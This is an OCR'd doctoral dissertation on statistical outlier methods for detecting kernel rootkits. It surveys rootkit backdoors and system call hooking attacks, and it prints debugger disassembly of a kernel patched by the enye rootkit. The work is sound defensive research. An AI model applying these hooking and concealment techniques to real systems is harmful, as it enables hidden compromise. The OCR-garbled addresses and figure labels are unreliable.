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ABSTRACT

METHODS FOR DETECTING KERNEL ROOTKITS

Douglas R. Wampler

November 12, 2007

Rootkits are stealthy, malicious software that allow an attacker to gain and
maintain control of a system, attack other systems, destroy evidence, and decrease the
chance of detection. Existing detection methods typically rely on a priori knowledge and
operate by either (a) saving the system state before infection and comparing this
information post infection, or (b) installing a detection program before infection. This
dissertation focuses on detection using reduced a priori knowledge in the form of general
knowledge of the statistical properties of broad classes of operating system/architecture
pairs. Four new approaches to rootkit detection were implemented and evaluated.

A general distribution model is employed against kernel rootkits utilizing the
system call table modification attack. Using approaches from the field of outlier
detection, this approach successfully detected four different rootkits, with no false
positives. Scalability is, however, an issue with this approach. A second, normality-

based approach was investigated for use against rootkits infecting systems via the system



call table modification attack. This approach was partially successful, but did generate
false positives in 0.35% of cases.

The general distribution model was then applied to rootkits infecting
systems via the system call target modification attack. This dataset is dramatically larger,
including disassembled memory addresses from the entire kernel. Finally, a modified
version of the normality based approach proved effective in detecting kernel rootkits
infecting the kernel via the system call target modification attack. This approach
capitalizes on the discovery that system calls are loaded into memory sequentially, with
the higher level calls, which are more likely to be infected by kernel rootkits loaded first,
and the lower level calls loaded later. In the single case evaluated, the enyelkm rootkit,
neither false positives nor false positives were indicated.

As a final evaluation, these techniques were applied to the Microsoft Windows
operating systems. The Windows equivalent of the system call table, the system service
descriptor table (SSDT), appears to be almost perfectly normally distributed. A Windows
rootkit employing the system call table modification attack was detected using the

general distribution and ‘assumption of normality’ models.
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CHAPTERII

INTRODUCTION

Nearly everyone has observed the seemingly unlimited flaws and vulnerabilities
inherent in the protocols, operating systems, applications, and other software that
constitutes modern computing environments. By taking advantage of these flaws,
attackers can assume control of systems, steal data, attack other systems, and general
wreak havoc. Computing technology has simply advanced too quickly for security
technology to keep up and the reality is that today’s computing environments are
inherently hackable [1].

Modern computer security efforts are primarily concerned with the prevention of
attacks, the detection of attacks or attempted attacks when they occur, and recovery from
successful attacks [2]. Prevention entails activities such as running secure versions of
popular operating systems, disabling services with known vulnerabilities or weaknesses,
and installing specialized software or hardware designed to prevent successful attacks.
Detection of successful or attempted attacks is covered in a broad field known as
intrusion detection, which can further be divided into network intrusion detection and
host based intrusion detection. Recovery from successful attacks includes those actions
taken to restore the system to an operational state, and usually entails restoring data and

applications from backup media [3].



Network intrusion detection is typically conducted using a sniffing tool such as
Snort [4]. Network activity is typically saved and later analyzed for anomalous behavior
and attack signatures. Host based intrusion detection is typically accomplished using
host based security applications such as Tripwire [5]. There are many applications for
use in both network and host based intrusion detection. There also exist many programs
for detecting rootkits on host systems.

A primary concern of attackers everywhere is not only how to gain privileged
access to a system, but also how to keep it. In order to keep privileged access, the
attacker must conceal his, or her, activities from the system administrator and other
legitimate users of the system in question. Over time, concealment of illicit activities has
evolved from the manual editing of log files, to the development of simple tools for this
and similar purposes, culminating in the development of rootkits ranging from the simple
to the Byzantine.

A rootkit is a method by which hackers maintain control of a compromised
system, attack other systems, destroy evidence, and decrease the chance of being detected
by system administrators [6]. The first rootkits were detected on SunOS machines in the
early 1990s. Since then, a “projectile/armor” race has erupted between those trying to
develop/detect rootkits [1;7]. A rootkit is essentially a set of software tools employed by
an intruder after gaining unauthorized, privileged access to a system. Rootkit software
has three primary functions: (1) to maintain access to the compromised system; (2) to
attack other systems; and (3) to conceal evidence of the attacker's activities [7].

In the grand scheme of computer security, rootkit detection fits well into the area

of host based intrusion detection. Effective intrusion detection includes the collection of



information about intrusion techniques that can be used to improve methods of intrusion
detection [2]. Why conduct further research into rootkit detection when there already
exist many applications for this purpose? In all current techniques for detecting Linux
rootkits, substantial a priori knowledge about the specific system under observation is
required. Either (a) some application must be installed when the system is deployed, as is
typical with host based intrusion detection, or (b) some system metrics must be saved to a
secure location when the system is deployed. In a perfect world, this would not present a
problem, but in reality, system administrators are busy people and the time, effort and
expertise required for these activities is often not available.

The purpose of this research is to detect rootkits using a more mathematically and
statistically rigorous method, while requiring less specific a priori knowledge of any
given system. However, it should be noted that it will still be necessary to have some «
priori knowledge of general systems of the same type under observation. In particular,
information about the distribution of system calls is needed. | most operating systems
this does not appear to be normally distributed, which focused most initial work in this
dissertation on general distribution models. However, in certain special cases, a
normality assumption is justified. This research effort will be concentrated on two
versions of one specific operating system using two different hardware platforms,
specifically Linux kernel versions 2.4.27 and 2.6.8. Linux kernel version 2.4.27 will be
tested on Intel 32 bit and SPARC 64 bit architectures, while Linux kernel version 2.6.8
will test tested only on an Intel 32 bit architecture.

In its more than twenty year history, UNIX has changed and evolved into many

different flavors and releases. These changes include the introduction of UNIX into



University environments, and the advent of BSD, System V, The Open Software
Foundation, Posix, and several secure UNIX variants. During this time, many
vulnerabilities and methods of attack have been discovered and utilized, but eighty

percent (80%) of all security violations are permission based [8].

1.1 Dissertation Organization

This chapter provided a background and introduction to Unix rootkits, problem
statement, motivation for this research, and the contribution made by this dissertation.
Chapter two provides an overview and history of Unix rootkits (including a detailed
discussion of backdoors commonly provided by rootkits), a classification of rootkits
based on their methods of attack, and a discussion of the state of contemporary Unix
rootkit detection applications and methodologies.

Chapter three details the primary attack vectors of contemporary rootkits, which
fall into three distinct categories. Chapter four discusses the methodologies which may
be used to analyze the Unix kernel for rootkit infection, including those techniques used
in this dissertation.

Chapter five includes a detailed discussion and experimental outcomes of a
general distribution model used for the detection of rootkits using the system call table
modification attack. The system call table modification attack is commonly employed by
loadable kernel module (LKM) rootkits. Chapter six, similar to chapter five, also
includes a detailed discussion and experimental outcomes of a ‘normality” based model
used for the detection of the system call table modification attack. Beginning in chapter

seven, the focus changes to the detection of the system call target modification attack



using a ‘known distibution” model. The system call target modification attack is
commonly employed by runtime kernel patching rootkits, and instead of modifying the
system call table, directly modifies the system call instructions in memory.

Chapter eight demonstrates an innovative, ‘normality’ based approach for
detecting the system call target modification attack. This chapter includes a particularly
insightful discovery regarding the order of appearance in memory of the system calls
themselves. Without this key observation, this detection method would not be effective.

While this research has focused on the detection of Linux kernel rootkits, chapter
nine explores the possibility of using the general distribution model to detect Windows
kernel rootkits that utilize system service descriptor table (SSDT) modification attack.
Finally, chapter ten discusses the conclusions that can be drawn from this research, and

examines directions for future research in this field.



CHAPTER II

LITERATURE REVIEW

In the following section on literature review, a general overview of rootkits will
be presented including history and a discussion of the many backdoors techniques
utilized by various rootkits in section 2.1. Section 2.2 covers rootkit classification, with
special attention given to kernel rootkits. Section 2.3 includes a detailed discussion of
existing rootkit prevention and detection techniques, and section 2.4 discusses broad

categories of outlier analysis techniques that may be useful in detecting rootkit infections.

2.1 Rootkits

All of the dates presented herein are the dates upon which the information became
publicly available. This software may have been available in the underground at a much
earlier time [7].

The earliest rootkits have existed since approximately the early 1990s [1]. As
early as 1989, some components (e.g., log file cleaners) of known rootkits were found on
compromised systems. The first early SunOS rootkits (for SunOS 4.x) were detected in
1994. In 1996, the first Linux rootkits publicly appeared. On April 9th, 1997, Linux

Kernel Module (LKM) rootkits were proposed in the hacker magazine Phrack by Halflife

[7]1



In 1998, Non-LKM kernel patching was proposed by Silvio Cesare in his
landmark paper Runtime Kernel Patching[9]. He points out that it is possible to intrude
into kernel memory without loadable kernel modules by directly modifying the kernel
image (usually /dev/mem) [7]. In 1999, the first Adore LKM rootkit was released by
TESO. This rootkit alters kernel memory via Loadable Kernel Modules. In 2000, the
TOrnkit v8 libproc library Trojan was released. Library Trojans (usually libproc.a or
glibc/libe [10]) can filter certain processes from being seen. Statically linked applications,
or looking directly at /proc, will typically reveal the hidden process(es) [7].

In 2001, KIS Trojan and SucKit released. These rootkits alter kernel memory not
by using Loadable Kernel Modules, but by directly modifying the kernel image (usually
in /dev/mem). In 2002, Sniffer backdoors start to show up in rootkits. Maintaining
access is typically accomplished using backdoors [7]. Rootkits came to public awareness
in 2005, during the Sony CD copy protection scandal, wherein Sony placed rootkits on
Microsoft Windows PCs when a CD was played. Sony did not mention this in the CD or
packaging, mentioning only “security rights management measures” [11].

As mentioned above, maintaining access to a compromised system is typically
accomplished by using one or several commonly known backdoor methods [1].

In the well known paper, An Overview of Unix Rootkits [7], Chuvavkin outlines the many
backdoor techniques available to the rootkit developer. These backdoor techniques

include:

Telnet/Shell — An attacker may simply connect to a compromised system using telnet or

an inetd spawned shell on a high port. This is a very unsophisticated method.



Secure Shell — A Secure Shell connection on a high port is a common method employed
by less sophisticated attackers. Custom Secure Shell daemons also may not even leave
evidence in host log files. The netstat command, or an external scan by nmap, will reveal

this technique.

CGI Shell - It is possible that a rootkit may deploy a hostile CGI script during
installation. This is often considered a backdoor of “last resort”. The script may be able to
run commands as “nobody” or “httpd” and display the results in the browser. Local

exploits will need to be used to once again obtain root.

Reverse Telnet/Shell — In this case the compromised machine initiates an outbound

connection to the attacker's machine. This technique has the advantage of possibly being
able to circumvent firewalling efforts (i.e., outbound connections are typically allowed).
Observant system administrators may find it odd that their servers are initiating unusual

outbound connections.

ICMP Telnet — It has been said that everything can be tunneled over everything else.
ICMP control messages can be made to carry payloads like command line

sessions. It is not uncommon for ICMP traffic to be allowed through firewalls for
network performance and monitoring reasons. Backdoors like these will not

be discovered using commands like netstat and nmap. However, ICMP backdoor

activities are visible to network intrusion detection systems.



Reverse Tunneled Shell — In most environments, web browsing via port 80 TCP is

allowed and typically unrestricted. In this case the command line session is

carried across the HTTP protocol between the attacker and the compromised host.

Magic Packet Activated Backdoor - This backdoor will open a port, execute a single

command, initiate a session, or perform some other action when it receives a single magic
packet. The packet will possess a specific TCP sequence number or some other

inconspicuous property.

Sniffer Based Backdoor - Instead of opening a port and listening, this backdoor sniffs

network traffic instead. Upon receiving a specific packet (not necessarily directed to the
compromised host, but instead observed on the network only), the Sniffer Based
Backdoor performs and action and sends a response using a faked source IP address. This

method is extremely stealthy and very difficult to detect [7;12].

Covert Channel Backdoor — If one were to create their own signal system and combine

this with any known network protocol, it would probably never be detected
using existing methods. The number of variables and large number of fields in existing

network protocols and applications is very large. This method is provably undetectable.

It is worth re-emphasizing that some of these backdoor techniques (sniffer-based

backdoor, covert channel backdoor) can be extremely stealthy or even



undetectable [7]. This suggests that even after discovering and removing a rootkit, a
system administrator would be well advised to conduct a full system reinstall in order to
be sure they have eradicated all existing backdoors on the suspect system. Fortunately, no
known rootkits utilize the provably undetectable covert channel backdoor.

Tools for attacking other systems, both locally and remotely, began appearing in
rootkits during the late 1990s. Local attack tools exist primarily for the purpose of
recapturing root access from vigilant system administrators. Tools of this kind typically
include local password sniffers or crackers.

Remote attack tools typically include a basic network sniffer to eavesdrop and
obtain username/password pairs on the same local area network where clear text
protocols are used. Also in this class of tools are various network scanners and automated
exploit tools (autorooters). As an example, an attacker may scan a range of IP addresses
for vulnerable web servers, and run an autorooter to gain root privileges on those
vulnerable hosts.

Most rootkits contain at least one or more denial of service tools. Some systems,
in fact, contain system commands that may be used to flood other hosts (e.g., the spray
command in Solaris). Attackers may use the DoS tools against their enemies or during
their use of Internet Relay Chat [6].

The third and final area of rootkit functionality is the elimination of evidence.
Ideally a rootkit strives to eliminate evidence generated during the initial attack, and
prevent the generation of any new evidence. What this means, in reality, is the careful

editing of various log files, audit records, shell histories, and application log files [12].

10



There are a large number of well known utilities that exist for this purpose. However, no
known rootkits utilize any form of secure or reliable data removal — yet.

Preventing the generation of further evidence usually entails terminating or
modifying the syslog daemon. Attackers also typically take action to ensure that shell

history files and application log files are not generated [7].

2.2 Rootkit Classification

There are three known categories of rootkits. The first and simplest type are
binary rootkits, composed of modified, malicious copies of system binaries that are
placed on the host system. A logical second step in the evolution of the rootkit is the
library rootkit, in which a modified and malicious copy of a system library is placed on
the host system. These first two categories of rootkit are relatively easy to detect.

The third, and most insidious, category of rootkit is the kernel rootkit. There are
two subcategories of kernel rootkits, loadable kernel module rootkits (LKM rootkits) and
kernel rootkits that directly modify the memory image in /dev/mem (kernel patched
rootkits) [13]. Kernel-level rootkits attack the system call table by three known

mechanisms [14].

System Call Table Modification. The attacker modifies the addresses stored in the system

call table. The attacker, having written custom system calls [15] to replace several
system calls within the kernel, changes the addresses in the system call table to point to

the new, malicious custom system calls.

11



System Call Target Modification. In this case, the attacker overwrites the legitimate

targets of the addresses in the system call table with malicious code. The system call
table does not need to be changed. The first few instructions of the system call function

IS overwritten with a jump instruction to the malicious code.

System Call Table Redirection. In this type of rootkit implementation, the attacker

redirects references to the entire system call table to a new, malicious system call table in
a new kernel address location. This method can pass many currently used detection
techniques [14]. Upon further investigation, it appears that the system call table
redirection attack is simply a special case of the system call target modification attack
[16]. The attacker simply modifies the system_call function, modifying the address of

the system call table therein, which handles individual system calls.

2.3 Rootkit Detection

The first rootkits were simply tar archives of system binaries that were likely to be
executed by suspicious system administrators of compromised systems. These binaries
were typically, but not limited to, binaries such as netsat, kill, killall, passwd,
ps, pstree, sendmail, su, syslogd, and top. These binaries would be replaced
with modified copies created by the attacker in order to provide remote access, local
access, process hiding, connection hiding, file hiding, and user activity hiding. These
application rootkits are easily discovered by keeping secure copies of critical system
binaries on read only removable media, checking binary file sizes, using checksums,

looking at the /proc file system directly, and so forth [1].

12



Library rootkits, such as TOrn, replace the system library Iibproc.a with a
special modified library in order to maintain stealth. System binaries such as ps and top
rely upon this library to relay information from the kernel space. Using a modified library
allows one to avoid changing system binaries but still selectively filter file and process
lists. Once again, looking directly at the /proc file system will reveal this attack. It is
also relatively straightforward to modify the glibc/libc main system library to filter data
before it is sent to the kernel. Any application linked with this library (most applications)
will report false information. This attack may be avoided by using statically linked
applications. The UNIX commands Itrace, strace, and truss can be used to trace
library and kernel calls [7].

The first kernel rootkits appeared as malicious loadable kernel modules (LKM).
Processes under UNIX run either in user space or kernel space. Application programs
typically run in user space and hardware access is typically handled in kernel space. If an
application wants to read from a disk, it uses the open() system call and asks the kernel to
open a file. Loadable kernel modules run in kernel space and have the ability to modify
these system calls. If there is a malicious loadable kernel module in kernel space, the
open() system call will open the file requested unless the name of the file is “rootkit”
[1;7].

Many system administrators countered this threat by simply disabling the loading
of kernel modules [1]. However, Silvio Cesare recently published a paper proposing a
method for modifying system calls by directly accessing the kernel memory image in
/dev/mem [9]. Several rootkits have since been discovered that successfully utilize

this method.

13



Earlier rootkits such as binary and library rootkits may be detected using
relatively simple countermeasures. Binary rootkits may be detected by simply checking
the file size of system binaries or using checksums or hashes of the system binaries.
Library rootkits may be detected by comparing file sizes, checksums, or hashes of the
library files under suspicion as well as by using statically linked applications. Both binary
and library rootkits may be easily detected by looking directly at the /proc file system
[1;7].

Host based intrusion detection systems (7ripwire and Samhain being the most
well known) are still a relatively straightforward and effective way of detecting known
rootkits [1]. Samhain also includes functionality to monitor the system call table, the
interrupt description table, and the first few instructions of every system call [7].

The Linux Intrusion Detection System (LIDS) is a kernel patch that must be
applied to kernel source code, and requires a rebuild of the kernel. LIDS has the
capability to offer protection against kernel rootkits through the following mechanisms:
sealing the kernel from modification; prevent loading/unloading of kernel modules;
immutable and read-only file attributes; locking of shared memory segments; process 1D
manipulation protection; protection of sensitive /dev/ files; and port scan detection
[12]. LIDS appears to be more rootkit prevention tool than rootkit detection tool. As
with all other techniques discussed so far, LIDS requires either (a) some action be taken
in advance to thwart rootkit activity, or (b) some a priori knowledge of the specific
system under observation.

One detection method proposed by Sebastian Krahmer from SuSE in the past was

to monitor and log any program execution when execve() calls were made. Combine this
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with remote logging, and one could maintain a record of program execution on a system.
With a Perl script to monitor the log, one could perform actions such as sending alarms or
killing processes in order to stop the intruder [17].

Applications do exist for the purpose of detecting rootkits (including kernel
rootkits). These include several tools available for download including chkrootkit, kstat,
rkstat, St. Michael, scprint, and kern_check [11;18-24]. Chkrootkit is a user-space
signature based rootkit detector , while several others (kstat, rkstat, and St. Michael) are
kernel-space signature based detectors. These tools typically print the addresses of
system calls directly from /dev/ikmem and compare them to the entries in the
system._map file [12]. This approach relies upon some trusted source of a priori
knowledge of the specific system in question. Chkroot, kstat, rkstat, and St. Michael, as
signature based detectors, suffer from the usual shortcomings of signature based
detection.

Scprint and kern_check are utilities for printing and/or checking the addresses of
the entries in the system call table. Several of these utilities have proven quite useful in
attempts to verify the results of detection attempts against various categories of kernel
rootkits.

Other researchers have proposed to count the instructions used in system calls,
comparing them to measurements taken from a “clean” system [25]. This approach
seems very promising, but requires a kernel patch, installation of an application, and a
priori knowledge of the instruction count of each system call on the specific system in

question.
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Further efforts in the field of rootkit detection include static analysis of loadable
kernel module binaries [26]. The kernel exports a well-defined interface for use by
kernel modules, and LKM rootkits typically violate this interface. By carefully analyzing
this interface, one may extract an allowed set of kernel modifications. Using this set of
allowed kernel modifications, a researcher may statically analyze a loadable kernel
module binary to determine whether it violates this allowable set of kernel modifications.
This technique seems very promising for the detection of LKM rootkits, but the authors
do not offer any alternatives for detecting kernel patched rootkits.

Until recently, efforts toward rootkit detection have been software based. College
Park, Maryland based Komoku Inc. offers a low-cost, add-in PCI card that monitors a
host system’s memory and file system [27;28]. However, Copilot uses “known good”
MDS5 hashes of kernel memory and must be installed and configured on a “clean” system
in order to detect the future deployment of a rootkit [29]. Spafford and Carrier have
presented a technique in which binary rootkits were detected using an outlier analysis
technique on the file system in an offline forensic analysis situation [30]. The research
presented in this paper focuses on the detection of kernel rootkits through memory
analysis.

By default, the Linux operating system may access up to 4 Gigabytes of virtual
memory, with memory addresses between 0x00000000 and OXFFFFFFFF in hexadecimal
notation. An upper portion of this memory is allocated for use by the kernel. This upper
memory area has addresses between 0xC0000000 and OxFFFFFFFF. Typically, system

calls will have addresses such as 0xC011DOE1, 0xC013A229, or 0xC010B4D0 [16].
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The symbol _text indicates the first byte of kernel code. The end of kernel code is
marked by the presence of the _erext symbol. The following kernel data is categorized as
initialized and un-initialized. The initialized kernel data starts at the symbol _etexr and
ends at symbol _edata. The un-initialized portion of kernel data starts immediately after
_etext and stops at symbol _end [31]. Preliminary experiments have shown that LKM
rootkits create malicious system calls at address locations that exceed the memory value
of symbol _end — at memory address 0OxC041D8A9 or greater. This data suggests that
malicious system calls may be detectable through the use of outlier analysis techniques.

Whenever a new loadable kernel module (LKM) is loaded, the kernel allocates a
portion of memory for it usually starting at 0xC8800000. If there exists a system call,
then, with an address such as 0xC8801A12 or higher, this implies that a system call has
been replaced with a system call from a loadable kernel module. This is highly suspect,
and strongly suggests the presence of an LKM kernel rootkit [16]. 1t may be possible to
make mathematical or statistical observations about these memory addresses, and
produce a more formal, reliable assessment of the presence of a rootkit without a priori
knowledge about the specific system under scrutiny.

Whether this method will also succeed in detecting kernel patched rootkits that
directly modify kernel memory in /dev/mem remains unknown. There are well known
tools for analyzing memory and the system call table. This may be accomplished using
common system tools such as the GNU debugger in conjunction with the system.map

file or the nm system binary [16;31].
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2.4 Selected Statistical Methods

Existing approaches to detecting outliers can be classified into three broad
categories. The first category is distribution-based, which entails fitting the data to the
best known underlying distribution. This approach is univariate in nature, and requires
testing to find a distribution to fit the data [32]. Techniques that fit into this class were
used to obtain very promising preliminary results, and will be discussed later.

The second category is depth-based, which requires that the data be organized
into some k-dimensional space. Based on some definition of depth, the data are
organized into layers, and it is expected that shallow layers are more likely to be outliers
than are deep objects. This approach avoids the problem of distribution fitting, and
allows for multi-dimensional data to be processed. However, depth-based approaches do
not scale well as the dimensionality & increases [32]. This approach relies on the
computation of convex hulls, which is defined as the set of points X in the real vector
space ¥ is the minimum convex set containing X. This implies that the data set would
need to have minimum dimensionality of two.

The third and final category is distance based, and existing work in this area
focuses on large, multidimensional data sets. There are several distance and density
based approaches for the detection of outliers. These approaches will be discussed, along
with more conventional methods of outlier analysis.

Breunig et al. [33] introduce a new notion of outliers which bases their detection
on the same theoretical foundation as density-based cluster analysis. This concept of an
outlier is ‘local’ in the sense that the outlyingness of some object is determined by

considering the clustering structure of some bounded neighborhood of the object.
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The researchers show that this approach is more effective for detecting different types of
outliers than previous approaches. Finally, they show that outliers can be found nearly
“for free” if one is willing to perform a cluster analysis on the data set [33]. In related
work, Breunig et al. contend that in many cases, it is more meaningful to assign to each
object a degree of outlyingness. This metric is called the local outlier factor (LOF) of an
object. The researchers go on to show that LOF enjoys many desirable properties and
can be used to find outliers that cannot be identified using other existing approaches [34].

Knorr et al. [35] present three different algorithms for finding distance-based
outliers in large, multidimensional datasets. The first two algorithms both have
complexity Ok N°), where & is the dimensionality of the dataset and N being the number
of objects in the dataset. These first two algorithms readily support databases with many
more than two attributes. Finally, the researchers present a third cell-based algorithm for
datasets that are mainly disk-resident, and guarantees no more than three passes over the
dataset [35].

Additionally, two different groups of researchers have proposed methods for
finding the rop-n outliers from a given dataset. Ramaswamy et al. presents a method for
partitioning the data, and then pruning the partitions as soon as it can be determined that
they cannot contain outliers [36]. Jin et al. also present a novel method to efficiently find
the top-n outliers using an efficient micro-cluster based local outlier mining algorithm
[37].

Depth-based outlier detection does not seem to lend itself well to rootkit
detection, because it is based on the computation of convex hulls, which requires a set of

points, that is, a data set in two dimensions. In this research, our data set has
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dimensionality of one — memory addresses only. The distance and density based
approaches investigated thus far do not seem to be well suited to this research for the
following reasons: They are well suited to extremely large datasets with high
dimensionality; they typically involve a significant number of " nearest neighbor
searches and hold the possibility of being computationally expensive; many rely on
clustering, which typically requires multidimensionality; and some assume the presence

of top-n outliers, and in the field of rootkit detection there may be no outliers.
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CHAPTER 11

METHODS OF ROOTKIT OPERATION

As mentioned earlier, Linux Kernel rootkits attack the kernel via three known
methods. The first attack simply modifies the system call table itself and is known as the
system call table modification attack. The second attack, known as the system call target
modification attack, actually modifies the individual system calls themselves. The third
and final attack, known as the system call table redirection attack, redirects the system
call table itself to a new, malicious system call table located elsewhere in memory. This
is accomplished by using the system call target modification attack against the
system_call system call function, and as such as simply a special case of the system call
target modification attack. The attacks just discussed will now be described in additional
detail. Section 3.1 and 3.2 will discuss the system call table modification attacks and the
system call target modification/system call redirection attacks respectively, including
relevant examples. Section 3.3 includes a further detailed analysis of the malicious code

discovered in Section 3.2.

3.1 The System Call Target Modification Attack
In the system call table modification attack, an attacker simply changes the

addresses stored in the system call table. The attacker, having written custom system
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calls [15] to replace several system calls within the kernel, changes the addresses in the

system call table to point to these new, malicious custom system calls. Experience has

shown that the system call table modification attack has typically been conducted using

loadable kernel modules and seems most prevalent in Linux kernel version 2.4 rather than

kernel version 2.6. An overview of this attack is presented in Figure 3.1, below.

Mon-kernel memary

bad =ys read DOSYE7YED

Initialized

.
t\‘\[ System call table is

Linux Kernel Module loads here, creating malicious
copy of system call in nearby memaory, and

._,/f/ modifying system call table addresses.

_end: CO41D08A3 (end of kernel memaory)

[ sys_read DOB7E7ED ]

/

e u"l ™y
_edata; CO3CD340 sys_tead [EBHISPER

sys_write | CO135520

here
-

_etext: COZ93ERS

|

\[Sj,rstem Calls are here] : :
he. . . -

_text: CO100000

Figure 3.1: system call table modification attack
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An example of the system call table modification attack follows. Appendix E.1
displays the addresses for all 252 addresses from the system call table of a 32-bit Intel
architecture Linux kernel 2.4.27 system before the deployment of a rootkit employing the
system call table modification attack.

Appendix E.2 contains the memory addresses of the system call table in an Intel
Architecture 32-bit Linux kernel 2.4.27 machine after the deployment of the Knark Linux
Kernel Module rootkit, and this particular rootkit utilizes the system call table
modification attack. Memory addresses than have been replaced by the rootkit are

presented in boldfaced font.

3.2 The System Call Target Modification/System Call Table Redirection Attack
In the system call target modification and system call redirection attacks, the

attacker overwrites legitimate system calls in the system call table with malicious code.
These attacks have the advantage of not having to change the system call table. Instead,
the first few instructions of the system call function being attacked is overwritten with a
jump instruction to the malicious code located higher in memory. The system call
redirection attack is essentially the same as the system call target modification attack, in
that the attacker modifies the system_call function, modifying the address of the system
call table located therein, which handles individual system calls. An overview of this

attack is presented in Figure 3.2, below.
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Initialized

Mon-kernel memary

bad =ys read DOSYE7ED #—

./,//

KP rootkit creates malicious copy of sys_read in
high non-kernel memaory.

|

._,,,/’

_end: CO41D08A3 (end of kernel memaory)

_edata; CO3CD340

/[system call tahle]

_etext: COZ93ERS

Bad sys_read

(imp 0xDO787E0

moav %esp, %ebp
sub F0x024, %esp

Good sys_read

Kpush Y%ehp
may %aesp, %ebp

-
-
./<//\[Sy5tem Calls are here] sub $0x024, %hesp

Figure 3.2: system call target modification and system call table redirection attacks

The system call target modification and system call table redirection attacks make

_text: CO100000

use of runtime kernel patching [9] in order to actually change instructions within the

system calls themselves. An example of the system call table redirection attack used

against an Intel Architecture 32-bit Linux kernel 2.6.8 system will now be presented.
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The following code contains the disassembled instructions for the system_call system call
function before the deployment of a rootkit. System_call is the handler used by all other

system call functions.

(gdb) disass system_call
Dump of assembler code for function system_call:

0xc01040dc <system_call+0>: push Y%eax

0xc01040dd <system_call+1>: cld

0xc01040de <system_call+2>: push %es

0xc01040dFf <system_call+3>: push %ds

0xc01040e0 <system_call+4>: push Y%eax

0xc01040el <system_call+5>: push %ebp

0xc01040e2 <system_call+6>: push Y%edi

0xc01040e3 <system_call+7>: push %esi

0xc01040e4 <system_call+8>: push %edx

0xc01040e5 <system_call+9>: push %ecx

0xc01040e6 <system_call+10>: push %ebx

0xc01040e7 <system call+11>: mov $0x7b , %edx
0xc01040ec <system_call+16>: mov %edx,%ds
0xc01040ee <system_call+18>: mov %edx,%es
0xc01040f0 <system_call1+20>: mov $OxFFFFe000, %ebp
0xc01040f5 <system_call+25>: and %esp,%ebp
0xc01040f7 <system_call+27>: cmp $0x11c,%eax
0xc01040fc <system_call+32>: jJae 0xc01041d4 <syscall_badsys>
0xc0104102 <system call1+38>: testb $0x81,0x8(%ebp)
0xc0104106 <system_call+42>: jne 0xc0104170 <syscall_trace_entry>
End of assembler dump.

(gdb) q

Note that the system_call function calls the syscall_trace_entry function. Further

disassembly of the syscall_trace_entry function yields the following instructions:

(gdb) disass syscall_trace_entry
Dump of assembler code for function syscall trace_entry:

0xc0104170 <syscall_trace_entry+0>: movl $OxFFFFffda, 0x18(%esp)

0xc0104178 <syscall_trace_entry+8>: mov %esp , %eax

0xc010417a <syscall_trace_entry+10>: xor %edx , %edx

0xc010417c <syscall_trace_entry+12>: call 0xc0108250
<do_syscall_trace>

0xc0104181 <syscall_trace_entry+17>: mov 0x24 (%esp) ,%eax

0xc0104185 <syscall_trace_entry+21>: cmp $0x11c,%eax

0xc010418a <syscall_trace_entry+26>: jb 0xc0104108
<syscall_call>

0xc0104190 <syscall_trace_entry+32>: Jjmp 0xc0104113
<syscall _exit>

0xc0104192 <syscall_trace_entry+34>: mov %esi ,%esi

End of assembler dump.

(gdb) Quit
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Further note that the syscall_trace_entry function calls the syscall_call function.

Again, further disassembly of the syscall_call function yields the following instructions:

(gdb) disass syscall_call
Dump of assembler code for function syscall _call:

0xc0104108 <syscall_call+0>: call *0xc031b260(, %eax,4)
0xc010410F <syscall_call+7>: mov Y%eax,0x18(%esp)

End of assembler dump.

(gdb)

Now it comes to the system call table at last. In the disassembled instructions of
syscall_call, observe that the instruction “call ~ *0xc031b260(,%eax,4)”, which is
the address of the system call table on the test system. Armed with this information, one
may deduce that any attacker wishing to perform the system call table redirection attack
would need to overwrite some combination of the functions system_call,
syscall_trace_entry, and perhaps syscall_call. If the attacker makes use of the enye linux
kernel module rootkit, which employs runtime kernel patching and attacks the
syscall_trace_entry and system_call system call functions, the following effects from the
attack may be observed. First, note the following disassembled system_call function

after enye rootkit infection:

Dump of assembler code for function system_call:

0xc01040dc <system_call+0>: push %eax
0xc01040dd <system_call+1>: cld

0xc01040de <system_call+2>: push %es
0xc01040dFf <system_call+3>: push %ds
0xc01040e0 <system_call+4>: push Y%eax
0xc01040el <system_call+5>: push %ebp
0xc01040e2 <system_call+6>: push Y%edi
0xc01040e3 <system_call+7>: push %esi
0xc01040e4 <system_call+8>: push Y%edx
0xc01040e5 <system_call+9>: push %ecx
0xc01040e6 <system_call+10>: push %ebx
0xc01040e7 <system call+11>: mov $0x7b , %edx
0xc01040ec <system_call+16>: mov %edx, %ds
0xc01040ee <system_call+18>: mov %edx ,%es
0xc01040f0 <system_cal1+20>: mov $OxFFFFe000, %ebp
0xc01040f5 <system_call+25>: and %esp, %ebp
0xc01040f7 <system_call+27>: push  $0xd087bf65
0xc01040fc <system_call1+32>: ret

0xc01040fd <system call+33>: adc $0x0, %edx
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0xc0104100 <system_call1+36>: add %al , (%eax)

0xc0104102 <system_call1+38>: testb $0x81,0x8(%ebp)

0xc0104106 <system_call+42>: jne 0xc0104170 <syscall_trace_entry>
End of assembler dump.

Clearly the instructions for the system_call system call function have been altered,
specifically with a new address — Oxd087b¥65. This address replaces the normal call
to syscall_badsys, which is the function to handle non-existent or bad system calls. The
reason for this modification is not yet clear. Further disassembly of the
syscall_trace_entry system call function (the function that really leads to the system call

table) shows the following modifications:

Dump of assembler code for function syscall_trace_entry:

0xc0104170 <syscall_trace_entry+0>: movl $OxFFfFfffda,0x18(%esp)

0xc0104178 <syscall_trace_entry+8>: mov %esp, %heax

0xc010417a <syscall_trace_entry+10>: Xor %edx , %edx

0xc010417c <syscall_trace_entry+12>: call 0xc0108250

<do_syscall_trace>

0xc0104181 <syscall_trace_entry+17>: mov 0x24 (%esp) , %eax

0xc0104185 <syscall_trace_entry+21>: push $0xd087bf65

0xc010418a <syscall_trace_entry+26>: ret

0xc010418b <syscall_trace_entry+27>: (bad)

0xc010418c <syscall_trace_entry+28>: Js 0xc010418d
<syscall_trace_entry+29>

0xc010418e <syscall_trace_entry+30>: (bad)

0xc010418F <syscall_trace_entry+31>: Ijmp  *%ebx

0xc0104191 <syscall_trace_entry+33>: orl

$0x89fb9374,0x81c1f6F6(%ecx)
End of assembler dump.

Once again, the address Oxd087b¥65 figures prominently in the disassembled
code. Address 0xd087bT64 is, in reality, the address of the code to handle the
malicious system calls. This is precisely what we are trying to detect, and normally our
code and instruction analysis would stop here. However, a brief discussion of the
malicious code for handling the attacker’s alternative system call functions will be

presented for completeness.

27



3.3 Analysis of Malicious Code

Below, make note of the malicious code for handling the system calls for which
